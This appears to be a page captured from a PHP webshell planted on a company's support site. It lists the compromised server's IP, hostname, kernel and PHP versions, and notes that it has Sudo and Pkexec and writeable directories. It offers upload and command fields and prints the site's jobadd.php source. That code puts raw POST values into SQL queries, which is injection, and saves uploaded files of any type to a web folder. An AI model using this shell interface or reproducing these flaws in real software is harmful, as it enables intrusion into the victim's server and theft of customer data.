403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/support/jobadd.php
<?php require("checkuser.php"); ?>
<?
$staffid		= $_POST['staffid'];
$custid			= $_POST['custid'];
$email			= $_POST['email'];
$jobtimefr		= $_POST['jobtimefr'];
$jobtimeto		= $_POST['jobtimeto'];
$jobdate		= $_POST['jobdate'];
$jobtype		= $_POST['jobtype'];
$calldate		= $_POST['calldate'];
$calltime		= $_POST['calltime'];
$jobdetail		= htmlspecialchars($_POST['jobdetail'], ENT_QUOTES);
$jobaction		= htmlspecialchars($_POST['jobaction'], ENT_QUOTES);
$jobstatus		= $_POST['jobstatus'];
$remarks		= htmlspecialchars($_POST['remarks'], ENT_QUOTES);
$creationby		= $_SESSION['userid'];
$creationdate	= date("Ymdgis");
$updatedby		= $_SESSION['userid'];
$updateddate	= date("Ymdgis");
$filename		= $_FILES['filename']['name'];

if (strlen($jobstatus) == 0)
	$jobstatus = 1;

/*
echo "<br>". $staffid;
echo "<br>". $custid;
echo "<br>". $email;
echo "<br>". $jobtimefr;
echo "<br>". $jobtimeto;
echo "<br>". $jobdate;
echo "<br>". $calldate;
echo "<br>". $calltime;
echo "<br>". $jobdetail;
echo "<br>". $jobaction;
echo "<br>". $jobstatus;
echo "<br>". $remarks;
echo "<br>". $creationby;
echo "<br>". $creationdate;
echo "<br>". $updatedby;
echo "<br>". $updateddate;
*/
include("configure.php");

//**
$sql = "select max(jobid) as maxjobid from SYS_JOB";
$result = mysql_query($sql);
if ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
	$id = $row{'maxjobid'} + 1;
}

if (strlen($_FILES['filename']['name']) <> 0)
{
	if ($_FILES['filename']['size'] < 10000000)
	{
		copy ($_FILES['filename']['tmp_name'], "docs/". $id."_".$_FILES['filename']['name']) 
					or die("<br>Can't copy");
		$filename = $id."_".$_FILES['filename']['name'];
	}
	else
	{
		die("<br>File size error");
	}
}
//**

$sql = "SELECT * ";
$sql .= "FROM CM_CUSTOMER_HDR ";
$sql .= "where custid = ". $custid ." ";

$result = mysql_query($sql);
if ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
	$custname		= $row{'custname'};
	$address		= htmlspecialchars($row{'address'}, ENT_QUOTES);
	$contactperson	= $row{'contactperson'};
	$telno			= $row{'telno'};
}

$sql = "insert into SYS_JOB ";
$sql .= "(staffid, custid, email, jobtimefr, jobtimeto, jobdate, jobtype, calldate, calltime, jobdetail, jobaction, jobstatus, remarks, creationby, creationdate, custname, address, contactperson, telno, filename) ";
$sql .= "values ($staffid, $custid, '$email', '$jobtimefr', '$jobtimeto', '$jobdate', $jobtype, '$calldate', '$calltime', '$jobdetail', '$jobaction', $jobstatus, '$remarks', '$creationby', '$creationdate', '$custname', '$address', '$contactperson', '$telno', '$filename')";

$result = mysql_query($sql);
if (!$result) {
	die('Invalid query: ' . mysql_error());
}

$sql = "SELECT max(jobid) as maxjobid, md5(max(jobid)) as md5id ";
$sql .= "FROM SYS_JOB ";
$sql .= "where custid = ". $custid ." ";

$result = mysql_query($sql);
if ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
	$jobid = $row{'maxjobid'};
	$md5id = $row{'md5id'};
}


if (strlen($email) <> 0)
	require("sendEmail.php");


header("Location: jobdetail.php?jobid=$jobid");
?>

Youez - 2016 - github.com/yon3zu
LinuXploit